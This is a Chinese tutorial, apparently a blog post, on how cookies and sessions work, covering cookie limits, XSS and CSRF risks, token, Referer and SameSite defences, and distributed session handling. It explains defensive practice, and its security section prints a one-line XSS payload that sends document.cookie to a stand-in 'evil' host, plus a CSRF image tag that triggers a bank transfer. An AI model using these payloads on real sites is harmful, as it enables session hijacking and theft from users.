Cookie
是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
使用场景
- 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
- 个性化设置(如用户自定义设置、主题等)
- 浏览器行为跟踪(如跟踪分析用户行为等)
使用限制
- 每个域名下的 cookie 条数有限制,我测试了一下 IE 的话目前是固定 180 条,谷歌的话是 150上下波动。当超过单个域名限制之后,再设置cookie,浏览器就会清除以前设置的cookie。
测试代码如下:
for (let i = 0; i < 1000; i++) {
// 不设置 expires, 则在会话结束后过期
document.cookie = "test" + i + "=" + i * 11;
}
let cookieArr = document.cookie.split(";")
console.log(cookieArr.length);
- cookie 只能存 4kb 的数据
安全性考虑
- XSS攻击,可以通过代码注入的方式劫持到 Cookie。例如:
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
这段代码的意思就是,劫持到 cookie 然后发给别人。就比如,你写评论,填了个脚本代码进去,然后前后端都没进行防范,然后这个脚本被别人当中评论执行了,然后就泄漏了自己的cookie信息。
- CSRF攻击,这个就是你点个莫名的链接然后发起了一个请求,恰好这个请求所需的验证信息都能通过 cookie 满足。例如:
假如一家银行用以运行转账操作的URL地址如下:
https://bank.example.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那么,一个恶意攻击者可以在另一个网站上放置如下代码:<img src="https://bank.example.com/withdraw?account=Alice&amount=1000&for=Badman" />
只要 Alice 访问了这个链接,且恰好银行转账这个操作又是通过 Cookie 来核实身份的,那么被害人就毫不知情地把钱转给 Badman 了。
预防 cookie 带来的危险
-
使用令牌同步模式
简单来说就是,客户端请求服务器资源时,服务器返回页面给客户端,然后这个页面中的表单都内嵌了一个隐藏的令牌。客户端向服务器提交表单信息时,这个隐藏的令牌也被一起作为校验发送给服务器。大概就是这样:
<form method="post">
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />
</form>
缺点嘛,自然就是因为,页面渲染和令牌生成验证什么的都是由服务器来干。要是请求太多了,服务器压力也就会过大。
-
检查 Referer 字段
HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的网页地址,应该也位于bank.example.com之下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会位于bank.example.com之下,这时候服务器就能识别出恶意的访问。
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。 -
添加校验 token
由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。
这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。
SameSite 属性是啥?
- None:浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
- Strict:浏览器将只在访问相同站点时发送 cookie。
- Lax:与 Strict 类似,但用户从外部站点导航至URL时(例如通过链接)除外。 在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到URL时才会发送。如 link 链接
以前,如果 SameSite 属性没有设置,或者没有得到运行浏览器的支持,那么它的行为等同于 None,Cookies 会被包含在任何请求中——包括跨站请求。
大多数主流浏览器正在将 SameSite 的默认值迁移至 Lax。如果想要指定 Cookies 在同站、跨站请求都被发送,现在需要明确指定 SameSite 为 None。
Tips
为什么 cookie 和 token 都放在 header 中,CSRF 会劫持 cookie 而不是 token?
因为,cookie 会自动携带上。而token不会自动携带上。这就意味着,客户端所发送的敏感请求,都可以通过代码去约定一定是用户手动请求的。
Session
Session 代表着服务器和客户端一次会话的过程。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当客户端关闭会话,或者 Session 超时失效时会话结束。
使用场景
Session 通常保持在服务器端,那如何和客户端建立联系呢?一般来说都是,客户端和服务器第一次建立通信时,服务器端生成 Session 然后也会有一个对应的SessionId,然后返回给客户端。客户端将这个 SessionId 保存在 Cookie 里。然后每次请求都携带,服务器根据这个 SessionId 来识别用户身份。
如果后端服务器是分布式,怎么保证Session正确识别?
在互联网公司为了可以支撑更大的流量,后端往往需要多台服务器共同来支撑前端用户请求,那如果用户在 A 服务器登录了,第二次请求跑到服务 B 就会出现登录失效问题。
- Nginx ip_hash 策略,服务端使用 Nginx 代理,每个请求按访问 IP 的 hash 分配,这样来自同一 IP 固定访问一个后台服务器,避免了在服务器 A 创建 Session,第二次分发到服务器 B 的现象。
- Session 复制,任何一个服务器上的 Session 发生改变(增删改),该节点会把这个 Session 的所有内容序列化,然后广播给所有其它节点。
- 共享 Session,服务端无状态话,将用户的 Session 等信息使用缓存中间件来统一管理,保障分发到每一个服务器的响应结果都一致。
总结
- Cookie 存在客户端,Session 存储在服务器端
- Cookie 过期时间取决于代码设置,Session 的生命周期就是窗口页面的会话期
- Cookie 相当于一个管理信息的工具,Session 相当于一种编程思想。简单来说就是,没有Session,Cookie和后端也能通过其他方式来实现身份识别。使用Session是出于安全的考虑,把一些敏感信息保存在服务器端,通过 SessionId 来进行映射,从而达到身份识别的目的。
网友评论